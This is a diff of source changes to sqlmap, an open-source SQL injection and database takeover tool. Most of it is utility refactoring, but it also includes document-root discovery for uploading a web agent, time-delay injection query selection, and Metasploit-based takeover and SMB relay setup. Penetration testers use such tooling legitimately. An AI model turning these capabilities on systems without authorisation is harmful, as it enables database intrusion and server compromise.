limitedQuery = "%s AND %s " % (limitedQuery, field)
@@ -545,7 +527,6 @@ class Agent:
return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
@@ -565,6 +546,5 @@ class Agent:
return queries[kb.dbms].case % expression
# SQL agent
agent = Agent()

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import random
import re
@@ -32,10 +30,7 @@ import string
import sys
import time
import urlparse
from lib.contrib import magic
from lib.core.convert import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -43,6 +38,7 @@ from lib.core.data import paths
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException
from lib.core.settings import IS_WIN
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING
@@ -86,8 +82,7 @@ def paramToDict(place, parameters=None):
if condition:
value = elem[1]
if value:
testableParameters[parameter] = value
testableParameters[parameter] = value
if conf.testParameter and not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter)
@@ -115,7 +110,6 @@ def paramToDict(place, parameters=None):
return testableParameters
def formatDBMSfp(versions=None):
"""
This function format the back-end DBMS fingerprint value and return its
@@ -139,12 +133,10 @@ def formatDBMSfp(versions=None):
return kb.dbms
def formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values])
return string.replace("|", chain)
strJoin = "|".join([v for v in values])
return strJoin.replace("|", chain)
def formatFingerprint(target, info):
"""
@@ -198,7 +190,6 @@ def formatFingerprint(target, info):
return infoStr
def getHtmlErrorFp():
"""
This function parses the knowledge base htmlFp list and return its
@@ -222,95 +213,109 @@ def getHtmlErrorFp():
return htmlParsed
def getDocRoot():
"""
This method returns the web application document root based on the
detected absolute files paths in the knowledge base.
"""
docRoot = None
pagePath = os.path.dirname(conf.path)
if kb.os == "Windows":
defaultDocRoot = "C:/Inetpub/wwwroot/"
else:
defaultDocRoot = "/var/www/"
if kb.absFilePaths:
logMsg = "retrieved the possible injectable "
logMsg += "file absolute system paths: "
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(logMsg)
else:
warnMsg = "unable to retrieve the injectable file "
warnMsg += "absolute system path"
logger.warn(warnMsg)
for absFilePath in kb.absFilePaths:
absFilePathWin = None
for absFilePath in kb.absFilePaths:
if conf.path in absFilePath:
index = absFilePath.index(conf.path)
docRoot = absFilePath[:index]
break
if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
absFilePathWin = absFilePath
absFilePath = absFilePath[2:].replace("\\", "/")
absFilePath = os.path.normpath(absFilePath)
if pagePath in absFilePath:
index = absFilePath.index(pagePath)
docRoot = absFilePath[:index]
if absFilePathWin:
docRoot = "C:/%s" % docRoot.replace("\\", "/")
break
if docRoot:
logMsg = "retrieved the remote web server "
logMsg += "document root: '%s'" % docRoot
logger.info(logMsg)
infoMsg = "retrieved the web server document root: '%s'" % docRoot
logger.info(infoMsg)
else:
warnMsg = "unable to retrieve the remote web server "
warnMsg += "document root"
warnMsg = "unable to retrieve the web server document root"
logger.warn(warnMsg)
message = "please provide the web server document root "
message += "[%s]: " % defaultDocRoot
inputDocRoot = readInput(message, default=defaultDocRoot)
if inputDocRoot:
docRoot = inputDocRoot
else:
docRoot = defaultDocRoot
return docRoot
def getDirectories():
"""
This method calls a function that returns the web application document
root and injectable file absolute system path.
@return: a set of paths (document root and absolute system path).
@rtype: C{set}
@todo: replace this function with a site crawling functionality.
"""
def getDirs():
directories = set()
kb.docRoot = getDocRoot()
if kb.os == "Windows":
defaultDir = "C:/Inetpub/wwwroot/test/"
else:
defaultDir = "/var/www/test/"
if kb.docRoot:
directories.add(kb.docRoot)
if kb.absFilePaths:
infoMsg = "retrieved web server full paths: "
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(infoMsg)
pagePath = re.search("^/(.*)/", conf.path)
for absFilePath in kb.absFilePaths:
if absFilePath:
directories.add(os.path.dirname(absFilePath))
else:
warnMsg = "unable to retrieve any web server path"
logger.warn(warnMsg)
if kb.docRoot and pagePath:
pagePath = pagePath.groups()[0]
message = "please provide any additional web server full path to try "
message += "to upload the agent [%s]: " % defaultDir
inputDirs = readInput(message, default=defaultDir)
directories.add("%s/%s" % (kb.docRoot, pagePath))
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
if inputDir:
directories.add(inputDir)
else:
directories.add(defaultDir)
return directories
def filePathToString(filePath):
string = filePath.replace("/", "_").replace("\\", "_")
string = string.replace(" ", "_").replace(":", "_")
return string
strRepl = filePath.replace("/", "_").replace("\\", "_")
strRepl = strRepl.replace(" ", "_").replace(":", "_")
return strRepl
def dataToStdout(data):
sys.stdout.write(data)
sys.stdout.flush()
def dataToSessionFile(data):
if not conf.sessionFile:
return
conf.sessionFP.write(data)
conf.sessionFP.flush()
def dataToDumpFile(dumpFile, data):
dumpFile.write(data)
dumpFile.flush()
def dataToOutFile(data):
if not data:
return "No data retrieved"
@@ -325,19 +330,18 @@ def dataToOutFile(data):
return rFilePath
def strToHex(string):
def strToHex(inpStr):
"""
@param string: string to be converted into its hexadecimal value.
@type string: C{str}
@param inpStr: inpStr to be converted into its hexadecimal value.
@type inpStr: C{str}
@return: the hexadecimal converted string.
@return: the hexadecimal converted inpStr.
@rtype: C{str}
"""
hexStr = ""
for character in string:
for character in inpStr:
if character == "\n":
character = " "
@@ -348,8 +352,7 @@ def strToHex(string):
hexStr += hexChar
return hexStr
def fileToStr(fileName):
"""
@param fileName: file path to read the content and return as a no
@@ -363,13 +366,7 @@ def fileToStr(fileName):
filePointer = open(fileName, "r")
fileText = filePointer.read()
fileText = fileText.replace(" ", "")
fileText = fileText.replace("\t", "")
fileText = fileText.replace("\r", "")
fileText = fileText.replace("\n", " ")
return fileText
return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
def fileToHex(fileName):
"""
@@ -386,7 +383,6 @@ def fileToHex(fileName):
return hexFile
def readInput(message, default=None):
"""
@param message: message to display on terminal.
@@ -410,9 +406,11 @@ def readInput(message, default=None):
else:
data = raw_input(message)
if not data:
data = default
return data
def randomRange(start=0, stop=1000):
"""
@param start: starting number.
@@ -427,7 +425,6 @@ def randomRange(start=0, stop=1000):
return int(random.randint(start, stop))
def randomInt(length=4):
"""
@param length: length of the random string.
@@ -439,7 +436,6 @@ def randomInt(length=4):
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
def randomStr(length=5, lowercase=False):
"""
@param length: length of the random string.
@@ -449,30 +445,28 @@ def randomStr(length=5, lowercase=False):
@rtype: C{str}
"""
if lowercase == True:
if lowercase:
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
else:
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
return rndStr
def sanitizeStr(string):
def sanitizeStr(inpStr):
"""
@param string: string to sanitize: cast to str datatype and replace
@param inpStr: inpStr to sanitize: cast to str datatype and replace
newlines with one space and strip carriage returns.
@type string: C{str}
@type inpStr: C{str}
@return: sanitized string
@return: sanitized inpStr
@rtype: C{str}
"""
cleanString = str(string)
cleanString = str(inpStr)
cleanString = cleanString.replace("\n", " ").replace("\r", "")
return cleanString
def checkFile(filename):
"""
@param filename: filename to check if it exists.
@@ -481,15 +475,13 @@ def checkFile(filename):
if not os.path.exists(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(string):
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
def replaceNewlineTabs(inpStr):
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString
def banner():
"""
This function prints sqlmap banner with its version
@@ -499,8 +491,7 @@ def banner():
%s
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
""" % VERSION_STRING
def parsePasswordHash(password):
blank = " " * 8
@@ -518,8 +509,7 @@ def parsePasswordHash(password):
password += "%suppercase: %s" % (blank, hexPassword[54:])
return password
def cleanQuery(query):
upperQuery = query
@@ -532,33 +522,31 @@ def cleanQuery(query):
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
return upperQuery
def setPaths():
# sqlmap paths
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# sqlmap files
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
def weAreFrozen():
"""
Returns whether we are frozen via py2exe.
@@ -568,7 +556,6 @@ def weAreFrozen():
return hasattr(sys, "frozen")
def parseTargetUrl():
"""
Parse target url and set some attributes into the configuration
@@ -599,11 +586,10 @@ def parseTargetUrl():
conf.port = 80
if __urlSplit[3]:
conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%")
conf.parameters["GET"] = __urlSplit[3]
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess
@@ -635,8 +621,7 @@ def expandAsteriskForColumns(expression):
logger.info(infoMsg)
return expression
def getRange(count, dump=False, plusOne=False):
count = int(count)
indexRange = None
@@ -650,14 +635,13 @@ def getRange(count, dump=False, plusOne=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart
if kb.dbms == "Oracle" or plusOne == True:
if kb.dbms == "Oracle" or plusOne:
indexRange = range(limitStart, limitStop + 1)
else:
indexRange = range(limitStart - 1, limitStop)
return indexRange
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
data = []
@@ -672,7 +656,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
output = re.findall(regExpr, output, re.S)
if condition == None:
if condition is None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
@@ -707,27 +691,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
data = data[0]
return data
def getDelayQuery():
query = None
if kb.dbms in ( "MySQL", "PostgreSQL" ):
if kb.dbms in ("MySQL", "PostgreSQL"):
if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
query = queries[kb.dbms].timedelay % conf.timeSec
else:
query = queries[kb.dbms].timedelay2 % conf.timeSec
else:
else:
query = queries[kb.dbms].timedelay % conf.timeSec
return query
def getLocalIP():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port))
@@ -736,11 +718,9 @@ def getLocalIP():
return ip
def getRemoteIP():
return socket.gethostbyname(conf.hostname)
def getFileType(filePath):
try:
magicFileType = magic.from_file(filePath)
@@ -751,8 +731,7 @@ def getFileType(filePath):
return "text"
else:
return "binary"
def pollProcess(process):
while True:
dataToStdout(".")
@@ -760,19 +739,20 @@ def pollProcess(process):
returncode = process.poll()
if returncode != None:
if returncode is not None:
if returncode == 0:
dataToStdout(" done\n")
else:
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
elif returncode < 0:
dataToStdout(" process terminated by signal %d\n" % returncode)
elif returncode > 0:
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
break
def getCharset(charsetType=None):
asciiTbl = []
if charsetType == None:
if charsetType is None:
asciiTbl = range(0, 128)
# 0 or 1
@@ -806,3 +786,49 @@ def getCharset(charsetType=None):
asciiTbl.extend(range(96, 123))
return asciiTbl
def searchEnvPath(fileName):
envPaths = os.environ["PATH"]
result = None
if IS_WIN:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
envPath = envPath.replace(";", "")
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
if result:
break
return result
def sanitizeCookie(cookieStr, warn=False):
if cookieStr:
result = ""
changed = False
for part in cookieStr.split(';'):
index = part.find('=') + 1
if index > 0:
name = part[:index - 1].strip()
value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20")
if value != part[index:]:
changed = True
result += ";%s=%s" % (name, value)
elif part.strip().lower() != "secure":
result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20"))
else:
result += ";secure"
if result.startswith(';'):
result = result[1:]
elif result.startswith('%3B'):
result = result[3:]
if changed and warn:
warnMsg = "cookie is provided in HTTP unsafe format containing one "
warnMsg += "of problematic characters: ' ,;'. temporary sanitized."
logger.warn(warnMsg)
return result
else:
return None

View File

@@ -22,26 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
try:
import md5
import sha
except DeprecationWarning, _:
from hashlib import md5
from hashlib import sha
import md5
import sha
import struct
import urllib
def base64decode(string):
return string.decode("base64")
def base64encode(string):
return string.encode("base64")[:-1]
def hexdecode(string):
string = string.lower()
@@ -49,45 +40,40 @@ def hexdecode(string):
string = string[2:]
return string.decode("hex")
def hexencode(string):
return string.encode("hex")
def md5hash(string):
return md5.new(string).hexdigest()
def orddecode(string):
packedString = struct.pack("!"+"I" * len(string), *string)
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
def ordencode(string):
return tuple([ord(char) for char in string])
def sha1hash(string):
return sha.new(string).hexdigest()
def urldecode(string):
if not string:
return
doublePercFreeString = string.replace("%%", "__DPERC__")
unquotedString = urllib.unquote_plus(doublePercFreeString)
unquotedString = unquotedString.replace("__DPERC__", "%%")
return unquotedString
result = None
if string:
result = urllib.unquote_plus(string)
return result
def urlencode(string, safe=":/?%&=", convall=False):
if not string:
return
result = None
if convall == True:
return urllib.quote(string)
if string is None:
return result
if convall:
result = urllib.quote(string)
else:
return urllib.quote(string, safe)
result = urllib.quote(string, safe)
return result

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.datatype import advancedDict
from lib.core.settings import LOGGER

View File

@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapDataException
class advancedDict(dict):
"""
This class defines the sqlmap object, inheriting from Python data
@@ -45,7 +43,6 @@ class advancedDict(dict):
# After initialisation, setting attributes
# is the same as setting an item
def __getattr__(self, item):
"""
Maps values to attributes
@@ -57,7 +54,6 @@ class advancedDict(dict):
except KeyError:
raise sqlmapDataException, "Unable to access item '%s'" % item
def __setattr__(self, item, value):
"""
Maps attributes to values

View File

@@ -22,16 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import os
import re
from lib.core.common import dataToDumpFile
from lib.core.data import conf
from lib.core.data import logger
class Dump:
"""
This class defines methods used to parse and output the results
@@ -42,8 +39,7 @@ class Dump:
def __init__(self):
self.__outputFile = None
self.__outputFP = None
def __write(self, data, n=True):
if n:
print data
@@ -55,13 +51,11 @@ class Dump:
self.__outputFP.flush()
conf.loggedToOut = True
def setOutputFile(self):
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
self.__outputFP = open(self.__outputFile, "a")
def string(self, header, data, sort=True):
if isinstance(data, (list, tuple, set)):
self.lister(header, data, sort)
@@ -81,13 +75,12 @@ class Dump:
self.__write("%s: '%s'\n" % (header, data))
else:
self.__write("%s:\tNone\n" % header)
def lister(self, header, elements, sort=True):
if elements:
self.__write("%s [%d]:" % (header, len(elements)))
if sort == True:
if sort:
try:
elements = set(elements)
elements = list(elements)
@@ -103,8 +96,7 @@ class Dump:
if elements:
self.__write("")
def userSettings(self, header, userSettings, subHeader):
self.__areAdmins = set()
@@ -131,9 +123,13 @@ class Dump:
for setting in settings:
self.__write(" %s: %s" % (subHeader, setting))
print
def dbTables(self, dbTables):
if not isinstance(dbTables, dict):
self.string("tables", dbTables)
return
maxlength = 0
for tables in dbTables.values():
@@ -159,8 +155,7 @@ class Dump:
self.__write("| %s%s |" % (table, blank))
self.__write("+%s+\n" % lines)
def dbTableColumns(self, tableColumns):
for db, tables in tableColumns.items():
if not db:
@@ -205,8 +200,7 @@ class Dump:
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
self.__write("+%s+%s+\n" % (lines1, lines2))
def dbTableValues(self, tableValues):
db = tableValues["__infos__"]["db"]
if not db:
@@ -232,8 +226,8 @@ class Dump:
for column in columns:
if column != "__infos__":
info = tableValues[column]
lines = "-" * (int(info["length"]) + 2)
info = tableValues[column]
lines = "-" * (int(info["length"]) + 2)
separator += "+%s" % lines
separator += "+"
@@ -248,19 +242,21 @@ class Dump:
for column in columns:
if column != "__infos__":
info = tableValues[column]
info = tableValues[column]
maxlength = int(info["length"])
blank = " " * (maxlength - len(column))
blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False)
if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column)
else:
elif not conf.multipleTargets:
dataToDumpFile(dumpFP, "\"%s\"," % column)
field += 1
self.__write("|\n%s" % separator)
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
@@ -279,14 +275,15 @@ class Dump:
blank = " " * (maxlength - len(value))
self.__write("| %s%s" % (value, blank), n=False)
if field == fields:
if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % value)
else:
elif not conf.multipleTargets:
dataToDumpFile(dumpFP, "\"%s\"," % value)
field += 1
self.__write("|")
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
@@ -298,7 +295,6 @@ class Dump:
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
# object to manage how to print the retrieved queries output to
# standard output and sessions file
dumper = Dump()

View File

@@ -22,10 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import sys
from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION
from lib.core.settings import VERSION
@@ -35,63 +31,51 @@ from lib.core.settings import VERSION_STRING
class sqlmapConnectionException(Exception):
pass
class sqlmapDataException(Exception):
pass
class sqlmapFilePathException(Exception):
pass
class sqlmapGenericException(Exception):
pass
class sqlmapMissingDependence(Exception):
pass
class sqlmapMissingMandatoryOptionException(Exception):
pass
class sqlmapMissingPrivileges(Exception):
pass
class sqlmapNoneDataException(Exception):
pass
class sqlmapNotVulnerableException(Exception):
pass
class sqlmapRegExprException(Exception):
pass
class sqlmapSyntaxException(Exception):
pass
class sqlmapUndefinedMethod(Exception):
pass
class sqlmapMissingPrivileges(Exception):
pass
class sqlmapNotVulnerableException(Exception):
pass
class sqlmapThreadException(Exception):
pass
class sqlmapUndefinedMethod(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception):
pass
class sqlmapUnsupportedFeatureException(Exception):
pass
class sqlmapValueException(Exception):
pass
def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail "
@@ -101,12 +85,12 @@ def unhandledException():
errMsg += "Operating system: %s" % PLATFORM
return errMsg
exceptionsTuple = (
sqlmapConnectionException,
sqlmapDataException,
sqlmapFilePathException,
sqlmapGenericException,
sqlmapMissingDependence,
sqlmapMissingMandatoryOptionException,
sqlmapNoneDataException,
sqlmapRegExprException,
@@ -118,4 +102,4 @@ exceptionsTuple = (
sqlmapUnsupportedDBMSException,
sqlmapUnsupportedFeatureException,
sqlmapValueException,
)
)

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import cookielib
import ctypes
import difflib
@@ -31,8 +29,6 @@ import logging
import os
import re
import socket
import sys
import time
import urllib2
import urlparse
@@ -42,8 +38,7 @@ from lib.core.common import getFileType
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import sanitizeCookie
from lib.core.common import sanitizeStr
from lib.core.data import conf
from lib.core.data import kb
@@ -52,6 +47,7 @@ from lib.core.data import paths
from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapMissingDependence
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapMissingPrivileges
from lib.core.exception import sqlmapSyntaxException
@@ -59,6 +55,9 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS
@@ -70,11 +69,9 @@ from lib.parse.queriesfile import queriesParser
from lib.request.proxy import ProxyHTTPSHandler
from lib.utils.google import Google
authHandler = urllib2.BaseHandler()
proxyHandler = urllib2.BaseHandler()
def __urllib2Opener():
"""
This function creates the urllib2 OpenerDirector.
@@ -85,13 +82,15 @@ def __urllib2Opener():
debugMsg = "creating HTTP requests opener object"
logger.debug(debugMsg)
conf.cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
if conf.dropSetCookie:
opener = urllib2.build_opener(proxyHandler, authHandler)
else:
conf.cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
urllib2.install_opener(opener)
def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r")
@@ -100,7 +99,17 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
reqResList = fread.split("======================================================")
port = None
scheme = None
for request in reqResList:
if scheme is None:
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue
@@ -134,10 +143,12 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
getPostReq = True
# GET parameters
elif "?" in line and "=" in line and ": " not in line:
data = line
params = True
# Cookie and Host headers
elif ": " in line:
key, value = line.split(": ", 1)
@@ -146,15 +157,21 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
elif key.lower() == "host":
host = value
# POST parameters
elif method is not None and method == "POST" and "=" in line:
data = line
params = True
if getPostReq and params:
if not url.startswith("http"):
url = "http://%s%s" % (host, url)
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not kb.targetUrls or url not in addedTargetUrls:
kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url)
def __setMultipleTargets():
"""
Define a configuration parameter if we are running in multiple target
@@ -199,7 +216,6 @@ def __setMultipleTargets():
infoMsg += "testable requests from the targets list"
logger.info(infoMsg)
def __setGoogleDorking():
"""
This function checks if the way to request testable hosts is through
@@ -247,29 +263,44 @@ def __setGoogleDorking():
errMsg += "have GET parameters to test for SQL injection"
raise sqlmapGenericException, errMsg
def __setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof:
return
debugMsg = "setting the takeover out-of-band functionality"
logger.debug(debugMsg)
msfEnvPathExists = False
if IS_WIN:
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
warnMsg += "on the native Windows Ruby interpreter. Please "
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
warnMsg += "out-of-band features. sqlmap will now continue "
warnMsg += "without calling any takeover feature"
logger.warn(warnMsg)
conf.osPwn = None
conf.osSmb = None
conf.osBof = None
return
if conf.osSmb:
isAdmin = False
if "win" in PLATFORM:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
isAdmin = True
elif "linux" in PLATFORM:
if "linux" in PLATFORM or "darwin" in PLATFORM:
isAdmin = os.geteuid()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
isAdmin = True
# TODO: add support for Mac OS X
#elif "darwin" in PLATFORM:
# pass
elif IS_WIN:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
isAdmin = True
else:
warnMsg = "sqlmap is not able to check if you are running it "
@@ -281,24 +312,19 @@ def __setMetasploit():
isAdmin = True
if isAdmin != True:
errMsg = "you need to run sqlmap as an administrator/root "
if isAdmin is not True:
errMsg = "you need to run sqlmap as an Administrator/root "
errMsg += "user if you want to perform a SMB relay attack "
errMsg += "because it will need to listen on a user-specified "
errMsg += "SMB TCP port for incoming connection attempts"
raise sqlmapMissingPrivileges, errMsg
debugMsg = "setting the out-of-band functionality"
logger.debug(debugMsg)
msfEnvPathExists = False
if conf.msfPath:
condition = os.path.exists(os.path.normpath(conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
if condition:
debugMsg = "provided Metasploit Framework 3 path "
@@ -319,24 +345,25 @@ def __setMetasploit():
warnMsg += "Framework 3 is installed"
